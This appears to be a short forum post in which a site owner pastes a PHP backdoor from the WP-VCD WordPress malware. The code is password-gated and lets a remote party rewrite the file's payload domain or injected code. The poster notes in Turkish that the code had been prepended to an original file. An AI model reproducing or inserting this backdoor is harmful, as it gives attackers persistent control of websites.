<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxxxxx'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{

if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}

}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{

if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}

}
}
}
break;

default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}

die("");
}

olayı çözdüm orjinal dosyanın üstüne eklemişler